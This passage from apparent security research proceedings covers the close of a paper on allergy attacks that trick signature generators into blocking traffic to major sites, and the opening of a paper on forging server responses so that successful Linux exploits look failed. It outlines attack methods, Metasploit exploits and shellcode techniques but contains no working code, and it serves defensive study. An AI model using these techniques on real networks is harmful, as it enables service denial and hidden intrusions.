or the corresponding user session in their cookies. The uniqueness of these “ID
cookies” are introducing the diversity necessary for type III attacks into normal
traffic, and can be exploited as follows: suppose the target cookie can taken
values in each byte/digit, we will generate one allergic signature to match each
of the possible values taken by the first k bytes/digits of the cookie, with k
being the smallest integer such that nk is below the false positive threshold. To
make sure that each signature only matches the beginning of the cookie value
as intended, we will include the name of the target cookie as well.

For all the “ID cookies” we have seen, their values remain the same throughout
a user session. Thus, each flow in the corpus will match exactly one of the
allergic signatures. Furthermore, the values of these “ID cookies” are usually
assigned such that the portion of cookies starting with a certain byte sequence
is the same as the portion with any other prefix. As a result, each of the above
allergic signatures will have a false positive very close to nk, and thus will evade
the corpus-based defense. Finally, since the allergic signatures cover all possible
prefix of the target cookie, they will filter out almost all traffic to the target site.

We have experimented with the above attack by collecting 10 sets of cookies
from Google.com, with 100,000 cookies in every set. We measured the distrib-
ution of the values for the first two bytes of the “PREF-ID” cookie, and find
that each two-byte prefix of “PREF-ID” appears in 0.47% to 0.33% of cookies
in each data set. In other words, the described type III attack allows us to evade
a corpus-based defense with a threshold of far less than 1%, and virtually block
all traffic to Google.com with 256 signatures.

We note that the type III attacks will be much less effective if a lower false
positive threshold is used. For example, if the threshold is lowered to 0.01%
(which appears the lowest possible value according to [16]), we find that the
attack against CNN.com described in Sect. 5.1 will require more than 1000 sig-
natures to achieve a BLP of less than 0.02. The attack based on the diversity
in search terms may be less affected by a lower false positive threshold, since
the figures from Hitwise seem to suggest that there are plenty of search terms
that appear in less than 0.01% of traffic, and a significantly larger set of sig-
natures may be required for the attack in Sect. 5.3 to block out all traffic to
Google.com. However, a lower false positive threshold will also reduce the cost
of evading the ASG through innocuous pool poisoning: the attackers now need
a much smaller volume of bogus traffic to make a real signature against their
attack dropped by the corpus-based mechanism. In other words, the tradeoff be-
tween defending against allergy attacks and innocuous pool poisoning manifests
itself once again. Finally, the (possibly) large number of signatures involved in
a type III attack is not necessarily a shortcoming. It gives the attack certain
stealthiness: it would be hard to manually remove all the allergic signatures
involved. A slow type III attack may also mean a constant influx of allergic sig-
natures, each causing minor damages, which makes stopping the attack serious
nuisances.
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6 Experimenting with Polygraph and Hamsa

In this section, we will present our experience in launching the attacks described
in Sect. 4.1, 5.1 and 5.3 (which target encoded dates and requests for less pop-
ular pages under CNN.com, and the identification cookie used by Google.com
respectively) against Polygraph [12] and Hamsa [8]. We choose to experiment
with these two ASGs because they are two of the most advanced network-based
ASGs that limit their false positives with a corpus-based mechanism. Our focus
on network-based ASGs is based on the belief that they have certain practical
advantages over systems that employ host-based components. We based our ex-
periments on a slightly modified version of Polygraph provided by the authors
of [16], and our own implementation of Hamsa. Our implementation of Hamsa
deviates from that presented in [8] slightly: we do not require a token to appear
in 15% or more of the worm flows in order to be used in the signature genera-
tion. We believe this requirement allows the attackers to evade the ASG easily,
given that the attacker can always introduce noise as in [16], and some of the
“invariant” parts of a worm may actually vary (e.g. in a stack buffer overflow,
the return address can be over written with many different values). We note that
the tested attacks should also be effective against the original Hamsa; we only
need to carry them out in multiple rounds, each generating 6 allergic signatures.

We have experimented with launching the two attacks against CNN.com on
the same 5 days as studied in Sect. 4.1 and 5.1 (24th - 28th Feb). For the
experiments on the type II attack, we generate a 7-day-old corpus by simulating
50,000 user sessions4 with the data collected 7 days before the corresponding day
0 (e.g. the experiment on the attack on 24th Feb uses a corpus generated from
data collected on 17th Feb). For the type III attack, we assume a “fresh” corpus
with 50,000 simulated user sessions based on the data collected at 9am of day 0.
For our experiments on Hamsa and the conjunction/token-subsequence signature
generator of Polygraph, we construct the worm pool to contain 3 copies of each
allergic signature we want the ASG to generate. After that, we invoke the tested
signature generation process once. We then evaluate the false positive caused by
the generated signatures with 150,000 simulated user sessions generated using
the data collected at 9am of the tested day 0. We find that the measured false
positives from the type II attack is always within 1% of the computed BLP value.
As for the type III attack, the false positives measured in the experiments are
lower than predicted, but the difference is always below 6.2%.

The setup for the experiments on the Bayes signature generator in Polygraph
is a little different, since the Bayes signature generation algorithm effectively
generates one signature to cover all traffic in the worm pool, and guarantees
that this “combined” signature has a false positive rate below the threshold.
As a result, we may need to invoke the signature generation process multiple
times to achieve the level of damages expected. Our experiments show that one
invocation is sufficient for the tested type II attack, since the byte sequences
involved in the attack rarely appear in the corpus. On the other hand, the type

4 [12] used a training set and testing set of 45,111 and 125,301 flows respectively.



252 S.P. Chung and A.K. Mok

III attack requires multiple invocation of the Bayes signature generation process.
Thus, we modify our experiment as follows: in each round of the experiment,
we construct the worm pool with 5 of the target byte sequences that are not
yet covered, 3 copies for each. We find that a little less than 100 rounds is
needed to have all the target byte sequences filtered. As before, we evaluated
the signatures generated for the two attacks with 150,000 simulated user sessions,
and find the false positives obtained from the experiments are within 2% range
of that predicted by our BLP analysis.

The discrepancy between the measured false positive and that predicted by
the BLP analysis may be explained by the randomness in the generation of the
corpus and the test traffic pool. The former may result in some target signatures
matching more flows in the corpus than allowed, and prevent their inclusion
in the final set of signatures. We believe this is the main reason why the mea-
sured false positives of the attacks against Hamsa and the conjunction/token-
subsequence signature generation in Polygraph is 5% lower than expected. On
the other hand, the fluctuation in the generation of the testing traffic pool affects
the measured false positive rate of the generated signatures, which may account
for the smaller differences seen in the other experiments.

For the type III attack targeting identification cookies from Google.com, we
repeat the experiment 5 times. In each experiment, we construct the corpus
used by the ASGs with a different set of 50,000 cookies. The rest of the experi-
mental set up is the same as above; i.e. we invoke the signature generator once
with the worm pool containing all the target byte sequence for the experiments
with Hamsa and the conjunction/token-subsequence generator of Polygraph, and
perform the experiment in multiple rounds, each with 5 remaining target byte
sequences for the Bayes signature generation. The generated signatures are then
evaluated with 5 different sets of 100,000 cookies. The signatures generated re-
sult in a 100% false positive against the tested sets of cookies as expected. Once
again, the attack against Hamsa and the conjunction/token-subsequence gener-
ator of Polygraph needs only one invocation of the signature generation process.
On the other hand, the attack against the Bayes signature generation requires
around 130 rounds to finish.

Obviously, the possible need to invoke the signature generator multiple times
is a drawback of the type III attacks in general. Depending on the frequency at
which the signature generation process can be invoked, the attack can take a long
time to complete. Nonetheless, in order to contain fast propagating worms, the
maximum time between two invocations cannot be too long; in [5], this is given
as “on the order of ten minutes”. Now, let’s assume the signature generation can
be invoked every 10 mins5; it will then take around 8 hours to generate the top

5 According to [11], if content filtering is deployed under the “top 100 ISPs” scenario,
a reaction time of 10 mins is necessary to protect 90% of vulnerable hosts against a
worm capable of making 40 probes/sec, and the probe rate of Code-Red v2 is assumed
to be 10/sec. Also note is that an invocation of the signature generation process every
10 mins is certainly insufficient in stopping SQL Slammer, which infected 90% of
vulnerable hosts in 10 mins.
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Table 2. A summary of the four most powerful attacks discussed

Attack
Name

Type II/III? Target Site Target traffic compo-
nent

Number of
signatures

Damage caused

Encoded-
Date Attack

Type II CNN.com Dates encoded in
URLs

7 sigs BLP of more than
0.25 (when the cor-
pus is 7 days or
older).

Timestamp-
cookie
Attack

Type II Amazon.com Timestamps in cook-
ies

7 sigs Block all traffic to
Amazon.com if the
corpus is 7 days or
older.

Infrequent-
requests
Attack

Type III CNN.com Requests to pages
other than the most
popular ones

100 sigs BLP of more than 0.6

ID-cookie
Attack

Type III Google.com Identification cookies 256 sigs Block all traffic to
Google.com

50 allergic signatures in the type III attack against CNN.com (which will result
in a BLP of more than 0.25).

7 Conclusions

In this paper, we argued that testing signatures generated by a vulnerable ASG
against a static corpus of normal traffic before their deployment cannot prevent
the high false positives caused by an allergy attack. In particular, we have iden-
tified two advanced attacks that can evade such corpus-based defense. The first
attack, called the type II allergy attack, exploits the difficulty of capturing the
evolution of normal traffic with a static corpus; as a result, allergic signatures
targeting traffic patterns that emerge after the generation of the corpus will go
undetected. The second attack, called the type III allergy attack, employs a more
brute-force, divide-and-conquer approach; it simply induces the target ASGs into
generating a set of signatures, each with a sufficiently low false positive to go
pass the corpus-based defense, but as a whole will block out a significant portion
of normal traffic. This attack is possible due to the natural diversity occurring
in normal traffic, which provides a way to “divide” them into small pieces, each
matched by a different allergic signature.

We have provided multiple examples of both type II and type III attacks
against popular sites like CNN.com, Amazon.com and Google.com. In order to
analyze the amount of damages caused by some of these attacks, we proposed
a metric called the “broken link probability”, which measures the probability
that a surfer will try to access pages made unavailable by the attack during
his/her visit to the target site. The BLP is also a good estimate of the portion
of flows in a corpus that will be filtered by a candidate allergic signature, which
is necessary in designing type II and type III attacks. With the BLP and some
other techniques, we have analyzed the effectiveness of all the proposed attacks.
A summary of the most powerful ones is given in Table 2.
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Even though there are various mitigations that can limit (but not completely
stop) the damages caused by a type II/III allergy attack, it is important to note
that most of them come at a cost of accentuating the threat from innocuous
pool poisoning. For example, the power of a type II attack can be significantly
reduced by keeping the corpus up-to-date which can be costly if not problem-
atical. More importantly, a fresh corpus allows instant effect for innocuous pool
poisoning; the attacker can launch the intended attack immediately after send-
ing out the bogus traffic. The same applies for defending against type III attack
by setting a lower threshold for allowable false positives in new signatures; a
successful innocuous pool poisoning will require a much smaller volume of bogus
traffic. Another possible defense against the type III attack is to check the total
false positives caused by all the signatures generated in each invocation of the
signature generation process, just as the Bayes signature generation algorithm
in Polygraph does. This will have the effect of reducing the number of allergic
signatures generated in each “round” of the attack, and thus increase the time
to complete a type III attack. Without being able to determine which signature
is bogus and which filters real worm traffic, such defense can run into the same
problem faced by the Bayes signature generator as demonstrated in [16]: it is
impossible to be effective against real attacks while keeping the false positive
low. An attacker can exploit this fundamental weakness by, say, mounting both
an allergy attack and an innocuous pool poisoning attack simultaneously.

Finally, we emphasize that even though our discussion focused on attacks
against HTTP requests, type II and type III attacks can be used against other
kinds of traffic too. This is especially true for type III attacks. In fact, we find
that many important protocols contain fields that uniquely identify a particular
user/communication session (e.g. the protocol for DNS and MSN), and diver-
sity in requested services is also commonly found in many types of traffic (e.g.
domain name to be resolved, recipient email address). All these can be seen as
opportunities for type III attacks against non-HTTP traffic as is being validated
in ongoing work.
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Abstract. Intrusion Detection Systems (IDSs) are necessary components in the 
defense of any computer network. Network administrators rely on IDSs to 
detect attacks, but ultimately it is their responsibility to investigate IDS alerts 
and determine the damage done. With the number of alerts increasing, IDS 
analysts have turned to automated methods to help with alert verification.  This 
research investigates this next step of the intrusion detection process. Some 
alert verification mechanisms attempt to identify successful intrusion attempts 
based on server responses and protocol analysis. This research examines the 
server responses generated by four different exploits across four different Linux 
distributions. Next, three techniques capable of forging server responses on 
Linux operating systems are developed and implemented. This research shows 
that these new alert verification evasion methods can make attacks appear 
unsuccessful even though the exploitation occurs. This type of attack ignores 
detection and tries to evade the verification process. 

Keywords: Network Intrusion Detection, Alert Verification, Evasion, Exploits. 

1   Introduction 

Intrusion Detection Systems (IDSs) have become essential components in the defense 
of any computer network.  Both government agencies and private corporations use 
IDSs to detect a variety of attacks which cannot be detected or prevented by a 
conventional firewall.  The proliferation of IDSs has resulted in attackers developing 
many different evasion techniques.  Network administrators and computer security 
professionals must remain apprised of current evasion techniques and IDS protections 
or risk leaving their computer networks vulnerable to attack. 

The intrusion detection process identifies abnormal activity which is often an 
attempt to compromise a system or consume a resource which denies others access 
[1]. IDSs generate alerts which draw the administrator’s attention to possible 
malicious activity. Hackers modify their attacks to incorporate methods attempting to 
bypass these IDSs.  Most evasion techniques focus on modifying the attacks to 
circumvent the IDSs entirely.  Some older attacks exploit flaws in network protocols 
[2], while newer evasion strategies focus on the application layer (e.g., URL 
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obfuscation) [3].  As intrusion detection becomes more sophisticated, so do the IDS 
evasion techniques. 

Research in this field primarily focuses on adapting intrusion detection strategies to 
identify new attacks.  While researchers and analysts can modify the rules and 
detection schemes of IDSs to recognize new evasion methods, the entire process 
ultimately relies on verification to determine the success or failure of an attack.  With 
the number of alerts increasing, the human analyst is looking for automated 
approaches of verifying and analyzing these alerts.  This research looks at exploiting 
the last step in the intrusion detection process—verification.  The IDS may detect all 
attacks but the final responsibility is to determine whether or not the intrusion was 
successful.  By modifying the behavior of a compromised server, it is possible to 
evade verification by making a successful attack appear unsuccessful. 

2   Background 

2.1   Intrusion Detection 

Intrusion Detection is the process of detecting inappropriate, incorrect, or 
anomalous activity.  Such actions are often an attempt to comprise a system by 
violating confidentiality, breaching integrity or denying the availability of a 
resource.  Intrusion detection can either be performed manually or automatically.  
Manual intrusion detection usually consists of an experienced network 
administrator examining logs. However, this process is usually automated by using 
an Intrusion Detection Systems [1]. 

When an automated IDS detects a probable intrusion or attack, it logs relevant 
information and alerts an administrator.  Determining if the event was an actual 
intrusion, the success of the attack, and any consequent action to take is usually 
outside the scope of most IDSs.  Another automated system, an Intrusion Prevention 
System (IPS), attempts to detect and stop any attack before it can be successful [1].  
While IPSs can be effective, most network administrators still use IDSs.   

IDSs come in one of two forms: host-based IDS (HIDS) and network-based IDS 
(NIDS).  A HIDS monitors a single host and examines system calls and logs, and 
sometimes even specific port activity.  A NIDS monitors the flow of network packets 
from multiple hosts.  Some modern IDSs are a combination of these approaches.  The 
focus of this research will be on NIDSs. 

2.2   Detection Techniques 

NIDSs use a variety of different detection techniques to observe network information 
and determine if a flow is an attack or intrusion.  Some NIDSs identify patterns of 
traffic and then match them to signatures of known malicious activity.  This process is 
known as misuse detection.  Anomaly detection systems compare network traffic 
against a baseline of “normal” activity.  Each technique is valid and comes with its 
own strengths and weaknesses [4]. 

 
 



258 A.D. Todd et al. 

In misuse detection, the intrusion detection decision is made based on a set of 
predefined rules.  These detection rules are simple in the sense that they define 
expected behavior observed during an attack or intrusion.  When a NIDS observes a 
traffic pattern matching one of these rules, it gathers information and generates an 
alert. While this approach seems simple, these rules must be very strict if a NIDS is to 
have an acceptable detection and false alarm rate [5]. Misuse detection can be 
accomplished by a variety of implementations.  The simplest intrusion detection 
method uses basic string matching.  Expert systems determine the security state of the 
system given a more complex set of rules and then examine network traffic for 
specific signs of intrusion or invalid transitions between states [5, 6]. Contextual 
signatures extend the traditional form of string-based signatures by including 
additional information about the context of the network traffic being analyzed which 
can help reduce the number of false positives significantly [7]. 

An anomaly-based IDS detects intrusions by monitoring network activity and 
classifying it as either normal or anomalous based on heuristics rather than patterns or 
signatures. The goal is to detect any traffic that falls outside of normal system 
operation. This differs from misuse detection systems which can only detect attacks 
with known signatures.  In order to determine what constitutes a possible attack, the 
system must be taught what “normal” behavior is.  This can be accomplished in many 
ways including self-learning via artificial intelligence techniques, mathematical 
modeling of normal activity and data-mining [1, 8, 9]. 

2.3   IDS Analysis 

While IDSs help a network administrator detect attacks, it is the responsibility of the 
expert analyst to determine if an intrusion actually did any damage.  In this area, IDSs 
have not met the expectations of network security administrators [10]. Rather, IDSs 
are known for creating a large number of alerts that are either false alarms or 
represent an unsuccessful attack.  It is left up to the analyst to sort through this chaos.  
Context-based IDSs use a real-time network awareness which provides extra 
information, but even this capability falls short of solving the problem. 

Data correlation is one method for aiding with all the alerts.  Correlation 
recognizes and associates related network activity to get a better understanding of 
intrusions and attacks [11]. Correlating associated alerts can reduce the number of 
alerts the analyst has to review.  

Another method is alert verification which is an automated approach for 
confirming successful attacks.  Many analysts look to automated methods to help 
process the volume of alerts generated [10]. One technique compares the target 
system with the configuration required for an attack to be successful. Another alert 
verification method compares the outcome of the suspected attack with the expected 
outcome of a successful attack [12]. This verification method examines server 
responses and performs protocol analysis.   

Verification methods may be active or passive. Active verification mechanisms 
gather information after an alert occurs, while passive mechanisms gather initial 
configuration data so checks can be made before an attack occurs. The most important 
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characteristic of alert verification mechanisms is accuracy. Accurate mechanisms 
keep the number of false negatives and false positives low. Automated alert 
verification mechanisms seem to be a solution to the overwhelming volume of alert 
messages generated; however, they also offer another device to exploit and attack. 

2.4   Evasion Techniques 

With the prevalence of IDSs, many attackers have devised evasion techniques.  While 
hackers designed these evasion techniques to bypass security systems, researchers 
may examine these attacks to determine how these systems can be improved.  There 
are many classic examples of evasion techniques that have been incorporated into the 
protection models of IDSs.  
  
Low and Slow. The “low and slow” method tries to avoid detection by extending the 
attack over time and/or space [4].     

 
Obfuscation. Obfuscation is a technique which manipulates the attack data so the 
actual data packet will not match the IDS signature [3, 13].   

 
Protocol Problems. Protocol ambiguities can lead to many different attack vectors  
[2, 14]. 

 
Denial of Service. The denial of service (DoS) evasion technique simply tries to 
overload the NIDS [3, 14]. 
   
Mimicry Attacks. Mimicry attacks attempt to avoid detection by crafting the attack 
code and data streams to resemble valid applications and network traffic [15].   

 

Verification Evasion. Most evasion techniques to date are designed to elude the 
automated aspects of intrusion detection while ignoring the verification process [16].  
This technique attempts to avoid a thorough investigation by fooling the verification 
process.  It is a form of mimicry attack in the sense that it creates responses which 
resemble those of failed attacks.  If the analyst or verification process recognizes 
these characteristics as corresponding to an unsuccessful attack, then there will 
probably be no follow-up investigation. 

Server response forging is one of the more successful attacks because verification 
techniques often rely on server responses to determine the outcome of an attack [12].  
Typically, server responses are seen as a trusted method for determining the success 
of an attack.  Most systems will respond with an error message if the attack is 
unsuccessful.  However, if the attack is successful then typically no response is issued 
because the injected attack code is running instead of the server application itself.  
Attackers can modify the exploit code to include issuing a response that the 
automated verification mechanism associates with failed attacks, and then simply wait 
before connecting to the backdoor or remote shell.  While the attack still triggers an 
alert, this evasion method attempts to convince IDS analysts that nothing is wrong by 
eluding the verification process.   
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3   Methodology 

3.1   Experimental Design 

To facilitate the conduct of this research, a network test bed was established. Two 
computers are connected via Category 5 network cables and a 10/100 network switch. 
One computer is the attacking system. It sends the exploits and captures the server 
responses. The second computer acts as a host to a variety of virtual, victim machines. 

The attacking computer is an Intel x86-based system running Fedora Core 5 as its 
operating system [17]. Fedora Core 5 was selected due to its ease of use and 
prevalence as one of the top Linux distributions [18]. The attacking system is also 
configured to use Metasploit 2.7 [19]. Metasploit is a framework which facilitates the 
development and delivery of exploits.  Ethereal 0.10.14 is installed on the attacking 
computer to capture network traffic [20].  

 

Fig. 1. Testing Network Architecture 

The host computer runs Windows XP Service Pack 2 and uses VMWare 
Workstation 5.5 to host the victim machines [21]. Each of these virtual machines 
emulates hardware but runs on the host’s underlying architecture (Intel x86). The 
victim machines run a variety of Linux distributions as shown in Figure 1. These 
versions of Linux correspond to the top four Linux distributions in use today [18]. 
In some instances older versions of the distributions are used to facilitate exploits 
(e.g., Red Hat 7.3 instead of Fedora Core 6 and Mandrake 9.1 instead of Mandriva 
2007). 

The simulated network is isolated and assigned private IP addresses. Figure 1 
shows the network architecture. The host computer does not have a valid private IP 
address so t is unable to send or receive traffic in this simulation. Random network 
traffic is not generated because the goal of this research focuses on the responses of 
servers and the ability to forge these responses which should not be affected by 
additional traffic. 
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The virtual machines are installed with default configurations and any subsequent 
system or application level patches are installed following the instructions included 
with the patches.  Additional software listed in Table 1 is installed to provide network 
services with vulnerabilities available for testing.  All applications were installed with 
default settings following the install instructions included with the source files. 

Vulnerabilities are chosen based on their prevalence and exploit code availability.  
In particular, vulnerabilities with available Metasploit exploits were chosen because 
these exploits are highly configurable and have been proven reliable for testing and 
research.  If a Metasploit exploit is not available for a vulnerability, a public exploit is 
used. Table 2 lists the vulnerabilities and Table 3 lists the corresponding exploits. 

Table 1. Victim Applications 

Application Service Vulnerable Ver. Patched Ver. 
Samba SMB (file share) 2.2.5 3.0.23 
GNU Mailutils IMAP (mail) 0.6 1.1 
PoPToP PPTP (VPN) 1.1.3 1.3.0 

 
Table 2. Vulnerabilities 

Vulnerability CVE ID Description 
Samba Fragment 
Reassembly 
Overflow 

2003-0085 There is a remote buffer overflow in Samba.  
The service fails to check a field length inside 
of the request before using this length in a 
memcpy() operation, resulting in a buffer 
overflow [22]. 

GNU Mailutils 
imap4d Server 
Client Command 
Format String 

2005-1523 Mailutils contains a flaw that allows a 
malicious user to execute arbitrary code. The 
issue is triggered when format specifiers are 
sent as part of user-supplied commands, and 
are unchecked by the imap4d server [23]. 

PoPToP PPTP 
Negative Read 
Overflow 

2003-0213 The PoPToP PPTP Server contains a flaw that 
allows a malicious user to execute arbitrary 
code. The issue is triggered when the server 
receives a malicious packet with the length 
field set to either zero or one. This causes a 
read operation to use a negative value, 
allowing sensitive memory regions to be 
overwritten with user-supplied data [24]. 

Samba 
call_trans2open() 
Function  
Overflow 

2003-0201 Samba contains a flaw that allows a remote 
attack to execute arbitrary code.  The issue is 
due to a flaw in trans2.c in which the 
call_trans2open() function user input is not 
properly sanitized [25]. 
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Table 3. Exploits 
 

Exploit Type Version Corresponding CVE 
samba_nttrans Metasploit Rev 3818 2003-0085 
gnu_mailutils_imap4d Metasploit Rev 3818 2005-1523 
poptop_negative_read Metasploit Rev 3818 2003-0213 
trans2root.pl Public N/A 2003-0201 

3.2   Performance Metrics 

This research focuses on server response forging; thus, server response is the only 
metric.  A server response is the packet or packets sent in response to a message 
received from a client.  The client message can be a legitimate request in which case 
the server responds accordingly or the client message may be erroneous in which case 
the server typically responds with an error message.  The request may also be a 
malicious exploit in which case the server’s response is uncertain.  If the exploit is 
successful, the server may not send a server response. 

This research considers only the server response packets, or lack thereof, after the 
exploit has been sent.  This investigation only focuses on the stream of server packets 
after the exploit is received.  This stream of server packets is comparable to the 
information a NIDS logs for the verification process.  It is this server response, when 
forged, which may allow intrusion detection evasion by fooling the verification 
mechanism and therefore the analyst. 

3.3   Test Design 

Two research goals, evaluate the server response to exploits and develop a method for 
forging server responses on Linux systems, are pursued through the development of 
testing methodologies described below. 

 
Server Response Test Design. The Metasploit Framework console was used to 
configure the chosen exploits (cf., Table 3).  The linux_ia32_exec payload is used in 
each test.  This payload executes a command specified by the “CMD” variable on the 
target machine.  During these tests, the payload command is set to ping the attacking 
system once (“ping –c 1 10.1.1.99”).  Each vulnerable and patched server is tested 
and the remote host (“RHOST”) is set to the corresponding IP address in each test.  
Public exploits are executed with the required arguments (e.g., local host and remote 
host).  Public exploits lack the robustness of the Metasploit Framework, so there is no 
opportunity to select the payload.  After each trial, the tested server is restored to its 
original state using VMWare’s “Revert to Snapshot” feature. 

The server responses are captured using Ethereal.  The capture starts before the exploit 
is sent and is subsequently terminated after all server response packets have been captured.  
Server responses are generally completed within a couple seconds.  However, some 
exploits use a brute force technique for determining the return address and therefore make 
thousands of requests.  The network captures containing the server responses are saved in 
the libpcap format after each test [26].  After all trials are completed, the server responses 
are compared to determine the possibility of server forging.  
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Response Forging Design. Previous research investigated Windows implementations 
and the effectiveness of such an attack; however, this is the first known research 
extending this ability to the Linux environment [16].  In general, forging a server 
response may provide misleading information that may cause an attack to be falsely 
classified as unsuccessful.  This new form of attack requires the exploit to carry a 
shellcode capable of creating and sending a forged server response. 

 
Shellcode Development. The first challenge of a shellcode which can send a response 
is finding a way to send the message.  The shellcode needs a socket on which to send 
the message.  Obtaining a socket can be accomplished in two ways: by creating a new 
socket specifically for the purpose of forging a response or finding an existing socket 
which can be reused. 

The first method is fairly straightforward.  The shellcode simply creates a new 
socket by making one call to an operating system library, and then sends out the 
forged response by modifying the IP and TCP header information and including the 
server response message. 

The second method requires the shellcode to reuse a socket.  Reusing a socket has 
several benefits including not needing to forge much of the header information.  
Reusing an existing connection also keeps the forgery from being noticed by a 
firewall or NIDS looking for new TCP connections.  Two techniques are available to 
find an existing socket: findsock and findrecv.   

Findsock finds the socket based on the remote host’s TCP port number [27, 28].  
Basically, the shellcode iterates through every open socket file descriptor and 
compares the remote connections port number with the number specified by the 
attacker.  When the socket with the corresponding port number is found, the shellcode 
returns the file descriptor which can be used to send messages back to the attacking 
computer.   

Findrecv locates the established socket by looking for a secondary message sent to 
that socket by the attacker [27, 29].  In this approach, the exploit sends the shellcode 
in one message and then sends an additional “tag” message.  The shellcode loops 
through all the sockets and attempts to receive the tag.  If the tag is found and matches 
the one sent by the attacker, then the established socket is found and the shellcode 
returns the file descriptor.   

The second challenge of the shellcode is creating the forged response.  To deceive 
the NIDS and the analyst, the response must appear to be legitimate.  Even the 
smallest things like the message’s header information must be correct or the response 
may get flagged.  The actual message contents must be determined ahead of time and 
will vary depending on the service attacked, the version number, and possibly the 
operating system.  

 
Testing Implementation. Our research tests the developed exploits and shellcodes 
using an experimental client-server application written in C.  The server process 
listens for client connections on port 8080.  After establishing a connection, the client 
sends a request to the server.  The server receives this message and copies it to 
another buffer using strcpy(), and then it echoes back the request assuming nothing 
has gone awry. 
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The receive buffer is 760 bytes while the destination buffer is only 740 bytes.  By 
using strcpy() with a larger source buffer than destination buffer, the server is 
vulnerable to a buffer overflow attack. These buffer sizes represent a typical buffer 
overflow size.  The Metasploit Framework contains 13 Linux exploits, and the 
average available payload size was 737 bytes.  A buffer overflow attack occurs when 
the return memory address is overwritten.  At the end of execution, the function 
attempts to return to where it was called, but during a buffer overflow attack the 
return address is usually overwritten to point back into the attacker specified buffer.  
Once control flow has jumped back into the exploit message, it falls through until it 
reaches the shellcode. The shellcode must be passed into the buffer as machine byte-
code so that it can be interpreted as instructions and executed.  However, before a 
shellcode can be sent to a vulnerable application, “bad” characters must be removed 
(c.f., Section 3.5).  To alleviate these problems, the Metasploit encoder was used to 
remove all the problematic characters.  It works by using a specified encoding scheme 
to encrypt the real shellcode, and then attaches a decoding algorithm to the front of 
the exploit to decrypt the rest of the shellcode once it begins to execute. 

In this scenario, the client is responsible for generating and sending the exploit.  
The testing client has several shellcodes to choose from and each has already been 
encoded with the default Metasploit encoder.  After selecting the shellcode to use 
with this exploit, the client fills the request with a NOP sled.  Next, the encoded 
shellcode is placed in the buffer, and then the remaining space is filled with a new 
return address which will overwrite the handler’s return address on the server.  Once 
the complete exploit is created, the client sends the request to the server and waits for 
the response. 

4   Analysis 

4.1   Server Responses 

The analysis begins with a description of the server responses of the vulnerable 
applications followed by the patched application responses. These responses are 
compared to determine if response forging is a viable attack.  Consistent differences 
between the two responses along with consistency amongst patched server responses are 
key elements in determining the possibility of forging.  This section also compares the 
differences in responses between operating systems to determine if they affect the 
universality of server response forging. Finally, general observations and requirements 
for successful server response forging are discussed. 
 
Responses to samba_nttrans. This experiment captures the server responses generated 
by using the samba_nttrans exploit against the vulnerable Samba version 2.25 and the 
patched version 3.0.23.  The application was only found to be vulnerable on seven of the 
ten Linux distributions (cf., Table 4). 

All four Linux distributions tested in this research were vulnerable to this exploit, 
and all shared similar server responses.  This exploit starts by establishing an SMB 
session and connecting to the SMB file tree.  After this session has been created, the 
exploit sends a malformed NT Trans request which contains a buffer overflow.  The 
Samba service fails to check the length field inside the NT Trans request before using 
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this value as the buffer’s length in a memcpy() operation [22].  After exploitation, the 
Samba server executes the shellcode, but the service does not crash nor does it send 
back any response.  After the shellcode has been executed, the process simply sends 
back a FIN-ACK to close the connection.   

After installing Samba 3.0.23, the buffer overflow was unsuccessful.  When the 
service received a malformed NT Trans request, it replied with an SMB error message 
stating that the command was unknown and closed the connection.   
 
Responses to gnu_mailutils_imap4d. This experiment captured the server responses 
generated by using the gnu_mailutils_imap4d exploit against the vulnerable GNU 
Mailutils version 0.6 and the patched version 1.1. The application was found to be 
exploitable on only three of the ten distributions (cf., Table 4).  

Of the four Linux distributions tested, three were vulnerable to this exploit.  All 
three vulnerable distributions shared similar server responses.  This exploit connects 
to the server and determines the correct parameters for a buffer overflow attack.  The 
server runs an Internet Message Access Protocol (IMAP) server which is used for 
sending and receiving email.  After an IMAP session has been established, a 
malicious request is sent.  In all three vulnerable test scenarios, the application was 
exploited and responded with a normal IMAP response message followed by several 
IMAP response messages filled with spaces.   

On the patched version 1.1 of GNU Mailutils, the exploit could not determine the 
information necessary to successfully execute the buffer overflow attack.  When 
presented with erroneous requests, the server sent an IMAP response and then closed 
the connection.  When attempting to exploit the patched Mailutils on the SuSE 9.3, 
the application also responded with a bad arguments IMAP message.  This is the same 
response given by the Ubuntu 4.10 system, which was the only configuration not 
vulnerable to this exploit. 

 
Responses to poptop_negative_read. This experiment captured the server responses 
when the poptop_negative_read exploit was used against the vulnerable PoPToP 
PPTP daemon version 1.1.3 and the patched version 1.3.0.  The application was found 
to be vulnerable on three of the ten distributions (cf., Table 4).   

Three of the four Linux distributions tested were vulnerable to this exploit.  The 
exploit is contained within one 408-byte packet.  The overflow occurs in a malicious 
“Start Control Connection Request”.  The PPTP length field is set to 1, and the return 
address is overwritten.  The new return address points back into the user-supplied 
request which contains the shellcode.  After the server is exploited, the connection is 
immediately closed with a FIN-ACK packet, and then the shellcode is executed.  This 
server response was shared amongst the vulnerable configurations.   

SuSE 9.3 was not vulnerable to the PoPToP negative read exploit and neither were 
the other operating systems after installing PoPToP version 1.3.0.  In both cases, the 
PPTP server responded to these malformed requests by simply resetting the 
connection with a TCP RST packet.   
 
Responses to trans2root. The trans2root exploit is included in the Metasploit framework 
(samba_trans2open); however, this experiment used the public exploit because the 
Metasploit exploit was unsuccessful in prior trials.  This exploit takes advantage of the 
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Samba call_trans2open() function overflow vulnerability.  This experiment captured the 
server responses generated by using the trans2root exploit against the vulnerable Samba 
version 2.25 and the patched version 3.0.23.  The application was found to be able to 
exploit only five of the ten distributions (cf., Table 4).   

All four of the configurations were initially vulnerable to the trans2root exploit.  
This exploit establishes an SMB session, connects to the SMB file tree, and sends a 
buffer overflow.  Since this is a public exploit, it has a hardcoded shellcode which 
establishes a shell back to the attacking computer.  Besides the packets establishing 
the remote shell, the exploited server responded with a simple acknowledgment and 
closed the connection with a FIN-ACK packet.   

The configurations running the patched Samba version 3.0.23 responded to the 
malicious Trans2 requests with an SMB error message.  After replying with an error 
message, the service closed the connection with a RST-ACK packet.   
 
Operating System Differences. This set of experiments tested the server responses 
generated by different operating systems to the same exploit.  Each operating system 
was tested while installed with the vulnerable version of the application and then 
again after the patched version of the service was installed.  A forged server response 
attack is much more useful if it can be used against a variety of operating systems 
instead of being target specific.  In these tests, patched server responses seemed to be 
uniform in every case except the GNU Mailutils exploit.  Two of the servers 
responded with additional error messages that the others did not.  Ultimately, it seems 
that the server responses remain consistent across Linux distributions, and this is 
probably because these are third-party applications designed to run on any Linux 
system and therefore are not inherently implementation specific. 

